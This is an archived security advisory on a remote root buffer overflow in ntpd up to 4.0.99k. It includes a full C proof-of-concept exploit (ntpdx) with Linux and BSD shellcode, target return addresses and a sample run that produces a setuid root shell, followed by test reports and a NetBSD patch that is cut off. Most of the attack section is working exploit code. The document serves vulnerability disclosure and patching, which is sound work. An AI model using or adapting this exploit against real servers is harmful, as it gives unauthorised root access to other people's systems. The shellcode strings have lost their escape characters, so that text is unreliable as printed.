26th Sep 2002 [SBWID-4498]
COMMAND

	    ntpd remote buffer overflow
	
	

SYSTEMS AFFECTED

	    ntpd =< 4.0.99k
	
	

PROBLEM

	    Przemyslaw Frasunek found following.  Network Time Protocol Daemon
	    (ntpd) shipped with  many systems is  vulnerable to remote  buffer
	    overflow attack.   It occurs  when building  response for  a query
	    with large readvar argument.  In almost all cases, ntpd is running
	    with superuser privileges, allowing to gain REMOTE ROOT ACCESS  to
	    timeserver.
	
	    Althought it's  a normal  buffer overflow,  exploiting it  is much
	    harder.  Destination buffer  is accidentally damaged, when  attack
	    is performed, so shellcode can't be larger than approx. 70  bytes.
	    This proof of  concept code uses  small execve() shellcode  to run
	    /tmp/sh binary.  Full remote attack is possible.
	
	    NTP is stateless UDP based protocol, so all malicious queries  can
	    be spoofed.
	
	    /*
	     *
	     * Example of use on generic RedHat 7.0 box:
	     *
	     * [venglin@cipsko venglin]$ cat dupa.c
	     * main() { setreuid(0,0); system("chmod 4755 /bin/sh");  }
	     * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
	     * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
	     * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
	     * ntpdx v1.0 by venglin@freebsd.lublin.pl
	     *
	     * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
	     *
	     * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
	     * [1] <- evil query (pkt = 512 | shell = 45)
	     * [2] <- null query (pkt = 12)
	     * Done.
	     * /tmp/sh was spawned.
	     * [venglin@cipsko venglin]$ ls -al /bin/bash
	     * -rwsr-xr-x    1 root     root       512540 Aug 22  2000 /bin/bash
	     *
	     */
	
	    #include <stdio.h>
	    #include <stdlib.h>
	    #include <stdarg.h>
	    #include <string.h>
	    #include <sys/types.h>
	    #include <sys/socket.h>
	    #include <netinet/in.h>
	    #include <netdb.h>
	    #include <unistd.h>
	    #include <arpa/inet.h>
	
	    #define NOP	0x90
	    #define ADDRS	8
	    #define PKTSIZ	512
	
	    static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";
	
	    /* generic execve() shellcodes */
	
	    char lin_execve[] =
	            "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
	            "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
	            "x80xe8xdcxffxffxff/tmp/sh";
	
	    char bsd_execve[] =
	            "xebx23x5ex8dx1ex89x5ex0bx31xd2x89x56x07x89x56x0f"
	            "x89x56x14x88x56x19x31xc0xb0x3bx8dx4ex0bx89xcax52"
	            "x51x53x50xebx18xe8xd8xffxffxff/tmp/shx01x01x01x01"
	            "x02x02x02x02x03x03x03x03x9ax04x04x04x04x07x04";
	
	    struct platforms
	    {
		    char *os;
		    char *version;
		    char *code;
		    long ret;
		    int align;
		    int shalign;
		    int port;
	    };
	
	    /* Platforms. Notice, that on FreeBSD shellcode must be placed in packet
	     * *after* RET address. This values will vary from platform to platform.
	     */
	
	    struct platforms targ[] =
	    {
		    { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
			    0xbfbff8bc, 200, 220, 0 },
	
		    { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
			    0xbfbff540, 200, 220, 0 },
	
		    { "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
			    0xbffff777, 240, 160, 0 },
	
		    { NULL, NULL, NULL, 0x0, 0, 0, 0 }
	    };
	
	    long getip(name)
	    char *name;
	    {
		    struct hostent *hp;
		    long ip;
		    extern int h_errno;
	
		    if ((ip = inet_addr(name)) < 0)
		    {
			    if (!(hp = gethostbyname(name)))
			    {
				    fprintf(stderr, "gethostbyname(): %sn",
					    strerror(h_errno));
				    exit(1);
			    }
			    memcpy(&ip, (hp->h_addr), 4);
		    }
	
		    return ip;
	    }
	
	    int doquery(host, ret, shellcode, align, shalign)
	    char *host, *shellcode;
	    long ret;
	    int align, shalign;
	    {
		    /* tcpdump-based reverse engineering :)) */
	
		    char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
			          0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
			          0x74, 0x75, 0x6d, 0x3d };
	
		    char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
			          0x00, 0x00, 0x00, 0x00 };
	
		    char buf[PKTSIZ], *p;
		    long *ap;
		    int i;
	
		    int sockfd;
		    struct sockaddr_in sa;
	
		    bzero(&sa, sizeof(sa));
	
		    sa.sin_family = AF_INET;
		    sa.sin_port = htons(123);
		    sa.sin_addr.s_addr = getip(host);
	
		    if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		    {
			    perror("socket");
			    return -1;
		    }
	
		    if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
		    {
			    perror("connect");
			    close(sockfd);
			    return -1;
		    }
	
		    memset(buf, NOP, PKTSIZ);
		    memcpy(buf, q2, sizeof(q2));
	
		    p = buf + align;
		    ap = (unsigned long *)p;
	
		    for(i=0;i<ADDRS/4;i++)
			    *ap++ = ret;
	
		    p = (char *)ap;
	
		    memcpy(buf+shalign, shellcode, strlen(shellcode));
	
		    if((write(sockfd, buf, PKTSIZ)) < 0)
		    {
			    perror("write");
			    close(sockfd);
			    return -1;
		    }
	
		    fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)n", PKTSIZ,
			    strlen(shellcode));
		    fflush(stderr);
	
	            if ((write(sockfd, q3, sizeof(q3))) < 0)
	            {
	                    perror("write");
	                    close(sockfd);
	                    return -1;
	            }
	
		    fprintf(stderr, "[2] <- null query (pkt = %d)n", sizeof(q3));
		    fflush(stderr);
	
		    close(sockfd);
	
		    return 0;
	    }
	
	    int main(argc, argv)
	    int argc;
	    char **argv;
	    {
		    extern int optind, opterr;
		    extern char *optarg;
		    int ch, type, ofs, i;
		    long ret;
	
		    opterr = ofs = 0;
		    type = -1;
	
		    while ((ch = getopt(argc, argv, "t:o:")) != -1)
			    switch((char)ch)
			    {
				    case 't':
					    type = atoi(optarg);
					    break;
	
				    case 'o':
					    ofs = atoi(optarg);
					    break;
	
				    case '?':
				    default:
					    puts(usage);
					    exit(0);
	
			    }
	
		    argc -= optind;
		    argv += optind;
	
		    fprintf(stderr, "ntpdx v1.0 by venglin@freebsd.lublin.plnn");
	
		    if (type < 0)
		    {
			    fprintf(stderr, "Please select platform:n");
			    for (i=0;targ[i].os;i++)
			    {
				    fprintf(stderr, "t-t %d : %s %s (%p)n", i,
				    targ[i].os, targ[i].version, (void *)targ[i].ret);
			    }
	
			    exit(0);
		    }
	
		    fprintf(stderr, "Selected platform: %s with ntpd %snn",
				    targ[type].os, targ[type].version);
	
		    ret = targ[type].ret;
		    ret += ofs;
	
		    if (argc != 1)
		    {
			    puts(usage);
			    exit(0);
		    }
	
		    fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending queryn",
			    (void *)ret, targ[type].align, targ[type].shalign);
	
		    if (doquery(*argv, ret, targ[type].code, targ[type].align,
			    targ[type].shalign) < 0)
		    {
			    fprintf(stderr, "Failed.n");
			    exit(1);
		    }
	
		    fprintf(stderr, "Done.n");
	
		    if (!targ[type].port)
		    {
			    fprintf(stderr, "/tmp/sh was spawned.n");
			    exit(0);
		    }
	
		    exit(0);
	    }
	
	    This exploit worked on FreeBSD 4.2-STABLE with the stock  4.0.99b.
	    More sobering, blindly aiming the exploit code at a Sparc  running
	    xntpd 3.4y caused it to seg. fault and core.
	
	    Both exploits crash 4.0.99b on FreeBSD 4.2-STABLE; the first  dies
	    with SIGBUS, the second with SIGILL.
	
	    This exploit causes a denial of service, crashing the NTP  daemon,
	    when run against a NetBSD  system.  The capability to  exploit the
	    vulnerability  and  execute  code  has  not  yet been confirmed on
	    NetBSD, though it is presumed to  exist.  It is likely that  minor
	    alterations  to  the  detail  of  the  published exploit code will
	    produce a viable remote root attack.
	
	    The version of  xntp3 that shipped  with Slackware 7.1  as well as
	    the  version  that  was  in  Slackware  -current contains a buffer
	    overflow bug that could lead to a root compromise.
	
	

SOLUTION

	    Unless systems depend critically on NTP for very accurate time, or
	    have very poor  local clocks, the  NetBSD project recommends  that
	    running  NTP  daemons  be  temporarily  disabled  immediately,  to
	    prevent  the  risk  of  compromise  while fixes are being applied.
	    Systems running releases older than NetBSD 1.4 should be  upgraded
	    to NetBSD 1.4.3 before applying the fixes described here.  Systems
	    running  NetBSD-current  dated  from  before  2001-04-05 should be
	    upgraded to  NetBSD-current dated  2001-04-05 or  later.   Systems
	    running NetBSD releases  1.4.x or 1.5  should apply the  following
	    patches.   These  patches  have  been  pulled  up  to  the release
	    branches, users tracking the  release branches should update  to a
	    code newer than 2001-04-05.   The two patches are the  same, apart
	    from some formatting differences  and relocation of the  file that
	    occurred in the interim.
	
	    For     NetBSD-1.5     (apply     the     following     patch   to
	    /usr/src/dist/ntp/ntpd/ntp_control.c):
	
	    --- ntp_control.c       2000/04/22 14:53:15     1.1.1.2
	    +++ ntp_control.c       2001/04/05 02:08:01     1.2
	    @@ -1812,9 +1812,22 @@
	                                            while (cp < reqend &&
	                                                isspace((int)*cp))
	                                                    cp++;
	    -                                       while (cp < reqend && *cp !=
	    -                                           ',')
	    +                                       while (cp < reqend && *cp != ',') {
	                                                    *tp++ = *cp++;
	    +                                               if (tp >=
	    +                                                   buf + sizeof(buf) - 1) {
	    +#if 0  /* don't syslog for now - DoS potential on filling syslog */
	    +                                                       msyslog(LOG_WARNING,
	    +    "Attempted "ntpdx" exploit from IP %d.%d.%d.%d:%d (possibly spoofed)n",
	    +    (ntohl(rmt_addr->sin_addr.s_addr) >> 24) & 0xff,
	    +    (ntohl(rmt_addr->sin_addr.s_addr) >> 16) & 0xff,
	    +    (ntohl(rmt_addr->sin_addr.s_addr) >> 8) & 0xff,
	    +    (ntohl(rmt_addr->sin_addr.s_addr) >> 0) & 0xff,
	    +    ntohs(rmt_addr->sin_port));
	    +#endif
	    +                                                       return (0);
	    +                                               }
	    +                                       }
	                                            if (cp < reqend)
	                                                    cp++;
	                                            *tp = '
	
	
	 Update (10 May 2002)
	 ======
	
	Cisco has posted an advisory and patch list stating that  most  (if  not
	all) their products are affected and should be upgraded ...
	
	http://www.cisco.com/warp/public/707/ntp-pub.shtml